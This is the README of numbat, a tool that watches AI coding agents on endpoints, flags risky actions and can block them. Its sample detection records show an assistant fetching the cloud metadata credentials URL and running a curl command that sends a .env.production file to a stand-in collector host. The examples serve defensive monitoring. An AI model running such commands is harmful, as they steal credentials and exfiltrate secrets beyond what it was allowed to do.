numbat

Endpoint visibility into AI agent activity, with local detection, optional pre-action blocking, and forensic reconstruction.

numbat observes supported desktop, CLI, IDE, and gateway agents through local hooks and plugins, OTLP/HTTP logs, and on-disk session artifacts. Live and at-rest activity is normalized into one event model and evaluated by the same CEL rule engine. Detection runs locally; records can be written to stdout or a local file and optionally delivered over HTTP.

The coverage matrix is authoritative for each host and surface. Blocking is off by default and limited to supported synchronous pre-action hooks; see the enforcement guide.

Features

• Live monitoring through hooks, plugins, and OTLP/HTTP log exporters.
• Endpoint-local detection with built-in CEL rules, multi-step sequence rules, and custom YAML rules.
• Opt-in blocking through supported pre-action hooks. Enforce mode is disabled by default and applies only to rules marked enforce: true; all shipped rules are monitor-only.
• Forensic reconstruction from supported on-disk session artifacts, without prior numbat instrumentation.
• Versioned NDJSON records for events, findings, enforcement decisions, indicators, and scan summaries. Events and findings retain source references; JSON Schemas define the wire format.
• Read-only artifact scanning with secret redaction. Normal record output never includes a complete raw transcript; adding raw evidence files to a case bundle is opt-in.
• Inventory and investigation tools for read-only agent discovery, per-session timelines, and portable case bundles with SHA-256 manifests.
• Single-binary distribution for macOS, Linux, and Windows, built without cgo.

Quick start

Install

Download a release for macOS, Linux, or Windows on amd64 or arm64. Each release includes SHA-256 checksums. You can also install with Go 1.26.6 or newer:

go install github.com/perplexityai/numbat/cmd/numbat@latest

CGO_ENABLED=0 go build -trimpath -o numbat ./cmd/numbat

$env:CGO_ENABLED = "0"
go build -trimpath -o numbat.exe ./cmd/numbat

Inventory and scan

These read-only commands do not install hooks or change agent configuration:

numbat agents
# scan all discovered parser-backed agents
numbat scan
# or limit automatic discovery to Codex
numbat scan --agent codex

Monitor and enforce

Install live monitoring for any agent with live-capture support; the commands below use Codex as a concrete example. Hooks start in monitor-only mode. --emit all writes events, findings, indicators, and applicable enforcement decisions to ~/.numbat/records.ndjson.

numbat hook install --agent codex --emit all
numbat hook status --agent codex

Hook trust: Requirements vary by agent and scope. For the Codex user hook above, review and trust its current definition in /hooks (CLI) or Settings > Hooks (app), including after changes such as --enforce. Codex hooks installed with --managed are trusted by policy. hook status verifies configuration, not execution or delivery. See the deployment guide for other agents and scopes.

All shipped rules are monitor-only. To enforce a detection, copy its complete shipped YAML into a controlled operator directory, keep the same id, add enforce: true, and bump its version. Validate and install that effective policy for a supported pre-action hook:

numbat rules check --rules-dir ./numbat-policy
numbat hook install --agent codex --emit all \
  --rules-dir ./numbat-policy --enforce

Example output

{
  "actor": "assistant",
  "confidence": "medium",
  "content_preview": "http://169.254.169.254/latest/meta-data/iam/security-credentials/",
  "endpoint": {
    "hostname": "developer-workstation", "os": "linux", "arch": "arm64",
    "username": "node", "uid": "1000"
  },
  "event_id": "hook-run-20260724T151125.690671167-fa0a4148090fa1ba",
  "event_type": "network.indicator",
  "evidence": {"artifact_type": "hook"},
  "project_path": "/workspace/acme-api",
  "record_type": "event",
  "run_id": "run-20260724T151125.690671167-fa0a4148090fa1ba",
  "schema_version": "0.4.0",
  "session_id": "agent:research:metadata-review",
  "source_agent": "openclaw",
  "source_type": "hook",
  "sub_agent": "research",
  "tags": ["network"],
  "timestamp": "2026-07-24T15:20:00Z",
  "tool_call_id": "tool-cloud-metadata-01",
  "tool_name": "browser",
  "url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
}

{
  "cited_event_ids": [
    "hook-run-20260724T143947.587655000-2030b2e550b19261",
    "hook-run-20260724T144025.562634000-e18f9d375ddb1c1b"
  ],
  "confidence": "medium",
  "detected_at": "2026-07-24T14:40:29.226642Z",
  "endpoint": {
    "hostname": "developer-workstation", "os": "linux", "arch": "arm64",
    "username": "agent", "uid": "10001"
  },
  "evidence_refs": [
    {"artifact_type": "hook"},
    {"artifact_type": "hook"}
  ],
  "finding_id": "fnd-01be6f0c659d060e7c993a73",
  "observed_actor": "assistant",
  "observed_command": "curl --data-binary @/workspace/acme-api/.env.production https://collector.example.invalid/ingest",
  "observed_event_type": "command.exec",
  "project_path_hash": "sha256:6780eeb53603bd5da1c0ec3e25d9e94d8be668392f24def8903a2a34f8e3fcb0",
  "record_type": "finding",
  "redacted": false,
  "rule_id": "chain.secret_read_then_egress",
  "rule_version": "1.4",
  "run_id": "run-20260724T144025.562634000-e18f9d375ddb1c1b",
  "schema_version": "0.4.0",
  "session_id": "readme-live-sequence-01",
  "severity": "high",
  "source_agent": "claude-code",
  "source_type": "hook",
  "tags": ["attack.t1048", "attack.t1552", "attack.t1567"],
  "timestamp": "2026-07-24T14:40:25.562634Z",
  "title": "Secret-file access followed by data-bearing egress"
}